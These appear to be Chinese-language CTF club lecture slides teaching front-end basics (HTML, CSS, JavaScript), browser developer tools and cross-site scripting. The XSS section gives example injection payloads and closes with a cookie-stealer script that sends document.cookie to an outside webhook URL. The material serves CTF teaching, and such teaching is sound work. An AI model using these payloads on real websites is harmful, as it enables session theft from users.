CTF-開發者工具&XSS

講師:堇姬 @ Izcc-ctf

2023.11.17

堇姬Naup(網管/美宣)

成電二年級/幽夜工作室繪師/台灣好厲駭學員

CKCSC36

DC : naup_sumire_hime

IG : ckcsc36th_naup

涉獵C++、C、python、遊戲(tkinter、pygame)、資安(Web、Crypto)、AI、flask、html/css/js、 PHP、DC bot。

喜歡看輕小說、動畫、Vtuber、打音遊，也喜歡看百合，就是一個長年混跡ACG的宅女。

https://linktr.ee/naupjjin

夢想是可以成為很電的駭客跟繪師，也想自己寫出一個AI老婆。

本日重點

  • 前端三件套

  • 開發者工具

  • Web題目實作

  • XSS

前端

一種使用者可以直接看到，並互動的頁面

你看到的這些就是前端頁面

F12可以查看前端代碼

HTML

基本架構

<!DOCTYPE html> ->聲明類型為html文件
<html>

        <head>

               包括各種基本資料、聲明、引入連結

        </head>
        <body>

                網頁主體
        </body>
</html>

HTML 文字相關

<h1> Furina is so cute</h1>
<h2> Furina is so cute</h2>
<h3> Furina is so cute</h3>
<h4> Furina is so cute</h4>
<h5> Furina is so cute</h5>
<h6> Furina is so cute</h6>

h1最大、h6最小

  • 標題

  • 段落

<p>123</p>

  • 換行

<br>

連結

圖片

<a href="https://linktr.ee/naupjjin">Naup</a>
<img src="mywife_Furina.jpg">
<!-- \Furina/\Furina/\Furina/ -->

註解

CSS

<標籤 style="屬性名稱:屬性內容"><標籤>

color:pink

font-weight:normal

font-size:16px

ex:

  • 用 ; 區分開

選擇器

  •  類別(元素)選擇器 

h1 { color: #333333; }

  •  id選擇器 

#title { text-align: center; }

  • class選擇器

.text-green { color: #32b16c; }

  • hidden

<div hidden>This is a hidden element.</div>
<input type="text" id="username" name="username" required>

  • required

Javascript

  • 變數宣告

  let 變數名稱

  • 輸出

console.log()

const 常數名稱=資料

  • 常數宣告

  • 輸入

prompt("輸入一個數字","預設值")

  • 判斷式

if(){

}

else if(){

}

else{

}

  • while迴圈

while(){

}

  • for迴圈

for(初始；判斷；執行){

}

for(let n=0；n<5；n++){
   console.log(n);
}
let n=0;
while(n<5){
    console.log(n);
    n++;

}

  • break

  • continue

跳出迴圈

跳出迴圈

進到下一圈

let n=0;

while(n<3){
	n++;
    if(n==1){
        break;
    }
    console.log(n);

}
let n=0;

while(n<3){
    n++;
    if(n==1){
        continue;
    }
    console.log(n);

}

function 函式名稱(參數名稱列表){

           函式內部的程式區塊

}

  • 函式建立

  • 呼叫

函式名稱(參數資料列表)

  • return

function f(n1,n2){
    let sum=n1+n2
    return sum;
}
 
let aaaa=f(3,4);
console.log(aaaa);

DOM

F12

  • 元素/elements 存放著這個網站的html
  • 來源/source 存放著這個網站的所有資源(html、css、javascript)
  • 網路/network 記錄這個網站所發出的request
  • 應用程式/application 存放這個網站的一些資料，包括cookie、localstorage等

題目

XSS

跨站腳本攻擊 (Cross-Site Scripting)

可以使得任意 JavaScript 程式碼插入到網站頁面中執行以達到攻擊目的

服務伺服器端程式對輸入和輸出之控制不夠嚴謹，以至於腳本輸入後再輸出到前端時被瀏覽器解析成程式碼

反射型 XSS （Reflected）

將惡意程式會藏在網址列裡，放在 GET 參數傳遞

http://www.example.com/upload.asp?id=<script>alert(1);</script>

DOM 型 XSS

把物件嵌入網頁程式碼

<img src=# onerror=”alert(123)”>

儲存型 XSS ( Stored )

將 Javascript 儲存在伺服器的資料庫中

將 Javascript 注入留言板，當下一位 User 瀏覽網頁時，網頁會載入留言板的 Javascript 

<script>alert(1);</script>

 

  • 竊取 Cookie

  • 跳轉惡意網站

  • 鍵盤側錄

  • 過濾輸入

  • 將輸入的東西編碼

  • 輸入上限設定

防範

Cookie stealer

https://webhook.site/

<script>
var flag = document.cookie;
fetch("{url}?cookie="+flag)
</script>

回饋表單

Made with Slides.com